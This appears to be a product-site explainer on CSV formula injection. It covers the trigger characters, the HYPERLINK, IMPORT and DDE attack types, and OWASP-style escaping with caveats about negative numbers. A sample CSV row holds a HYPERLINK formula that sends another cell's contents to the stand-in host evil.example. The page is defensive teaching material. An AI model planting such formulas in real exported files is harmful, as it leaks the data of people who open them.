What is CSV injection?

CSV injection, also called formula injection, happens when an application exports user-controlled text into a CSV and a cell begins with a character a spreadsheet treats as the start of a formula — =, +, - or @, and on some programs tab or carriage return. When someone opens the file in Excel, LibreOffice or Google Sheets, the cell is evaluated instead of displayed.

What can a CSV injection attack do?

The classic payloads either try to run a command through legacy DDE features or exfiltrate data with a formula like =HYPERLINK that builds a URL from other cells. Modern spreadsheet programs warn before running external content, so the practical risk today is mostly a convincing link or a warning dialog the user is trained to click through.

How do you prevent CSV injection?

OWASP's recommendation is to prefix any cell that begins with =, +, -, @, tab or carriage return with a single quote so the spreadsheet displays it as text, and to quote every field and double any embedded quotes. Escape on export, where you know the destination is a spreadsheet — not on input.

Doesn't escaping break negative numbers?

A naive guard does: -5 starts with a minus sign. A careful one leaves values that are plain numbers alone and only escapes cells that would be read as an expression. The apostrophe is also a real character to any program that is not a spreadsheet, so only apply it when the file is meant for humans in a spreadsheet.

CSV injection

CSV injection (formula injection) happens when text from an untrusted source lands in an exported CSV and a cell starts with a character a spreadsheet reads as a formula. The file is plain text and harmless — until somebody double-clicks it and Excel, LibreOffice or Google Sheets evaluates the cell instead of displaying it.

name,comment
Ana,"Ships Friday"
Mallory,"=HYPERLINK(""https://evil.example/?d=""&A2,""Click for details"")"

The second data row renders as a friendly link whose URL carries the contents of another cell.

The trigger characters

A cell is at risk when its first character is one of:

Character	Why it triggers
`=`	Starts a formula everywhere
`+` / `-`	Read as the sign of an expression: `+1+cmd`
`@`	Legacy function prefix (Lotus syntax) in Excel
tab, CR	Some programs strip them, exposing the next char

What an attack can do

Exfiltrate. HYPERLINK, and in Google Sheets the IMPORT* functions, can build a URL out of other cells' values.
Run something. Old payloads used Dynamic Data Exchange (=cmd|…) to launch a program. Current Office releases disable or warn on DDE, so this now mostly produces a security prompt — which users are well trained to click through.
Corrupt. A comment that starts with - or = silently turns into #NAME? and the original text is gone from the view.

The fix

The guard OWASP recommends, applied on export:

If a cell begins with =, +, -, @, tab or carriage return, prefix it with a single quote ' so the spreadsheet shows it as text.
Quote every field and double any " inside it, per RFC 4180.

Two cautions. Leave plain numbers alone — -5 and +1.2e3 are data, not formulas, and escaping them breaks every negative value. And the apostrophe is a real character to anything that is not a spreadsheet: apply the guard when the CSV is for people, not when it feeds another program.

The JSON to CSV converter has this as an "Escape formulas" switch that skips plain numbers.

Sidestepping the problem

A CSV attachment is a file someone has to open in a program that executes formulas. Publishing the rows as a rendered table — a CSV to HTML table or a shared report — shows the text as text in any browser, and reviewers can comment on the exact row instead of emailing a corrected copy back.

Try it

Comma is free — unlimited reports, unlimited commenters, unlimited revision history.

Turn a CSV into a shareable table →